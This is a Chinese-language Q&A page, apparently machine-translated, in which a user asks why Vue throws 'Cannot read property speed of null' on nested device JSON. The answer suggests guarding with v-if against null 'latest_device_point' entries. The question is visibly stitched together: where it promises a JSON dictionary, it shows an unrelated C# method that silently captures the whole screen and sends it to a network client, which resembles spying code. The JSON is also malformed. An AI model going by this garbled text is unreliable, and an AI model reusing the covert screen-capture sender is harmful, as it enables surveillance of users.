Question

我有以下json字典：

public static void Screencapture()
    {
        MemoryStream ClientMemoryStream = new MemoryStream();
        Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);

        Graphics g = Graphics.FromImage(bmp);
        {
            try
            {
                g.CopyFromScreen(Point.Empty, Point.Empty, ScreenBounds.Size, CopyPixelOperation.SourceCopy);
                bmp.Save(ClientMemoryStream, ImageFormat.Jpeg);
            }
            catch
            {
                //Do nothing since we want the image capturing function to be crash-proof
            }
        }
        byte[] image = ClientMemoryStream.ToArray();
        try
        {
            
            Ant15Connections.AntClient15.Write(image);
            bmp.Dispose();
            ClientMemoryStream.Close();
        }
        catch
        {
            //Do nothing since we just want the application to be crash-proof
        }
    }
}

我想遍历列表中的所有设备，并在Vue中访问其id和speed属性：

{
   "result_list":[
      {
         "device_id":"1",

         "latest_device_point":{
            "device_point_id":"6erDcYJtPkm58k81f07-0F",
            "dt_server":"2020-08-12T22:21:16.135338Z",
            "dt_tracker":"2020-08-12T22:21:13Z",
            "lat":33.9902063,
            "lng":-117.9827849,
            "altitude":137.34,
            "angle":192,
            "speed":0,
            },
      },
          "device_id":"2",

         "latest_device_point":{
            "device_point_id":"6erDcYJtPkm58k81f07-0F",
            "dt_server":"2020-08-12T22:21:16.135338Z",
            "dt_tracker":"2020-08-12T22:21:13Z",
            "lat":33.9902063,
            "lng":-117.9827849,
            "altitude":137.34,
            "angle":192,
            "speed":0,
            },
      },

    ...

}

获取device_id没有问题，甚至可以在<div v-for="device in info" v-bind:key="device"> <h7> ID# {{device.device_id}} </h7> <h7> Speed: {{device.latest_device_point.speed}} </h7> --> </div>处获取整个字典，但是当我尝试访问device.latest_device_point并出现错误：{{device.latest_device_point.speed}}时，代码就会中断。我究竟做错了什么？这是我的axios拨打电话：

"TypeError: Cannot read property 'speed' of null"

谢谢！

Answer 1

这是一个遥不可及的过程，但可能是列表中的某些元素的latest_device_point等于null的情况。

要停止中断，可以尝试有条件地渲染此行：

<div v-for="device in info" v-bind:key="device.device_id">
   <h7> ID# {{device.device_id}} </h7>
   <h7 v-if="device.latest_device_point"> Speed: {{device.latest_device_point.speed}} </h7>
</div>

这将检查device.latest_device_point是否为空，并且仅显示speed属性。

例如，我还建议您查看您的数据，看看console.log是否属于这种情况。

此外，最好将device_id用作key而不是完整的对象。

可能导致此错误的示例：

let data = [
    {
       "device_id":"1",
       "latest_device_point": {
          "device_point_id":"6erDcYJtPkm58k81f07-0F",
          "dt_server":"2020-08-12T22:21:16.135338Z",
          "dt_tracker":"2020-08-12T22:21:13Z",
          "lat":33.9902063,
          "lng":-117.9827849,
          "altitude":137.34,
          "angle":192,
          "speed":0,
        },
    },
    {
       "device_id":"2",
       "latest_device_point": null
    }
]
console.log(data[0].latest_device_point.speed)
console.log(data[1].latest_device_point.speed)

无法从嵌套字典json（vue）中访问元素

1 个答案: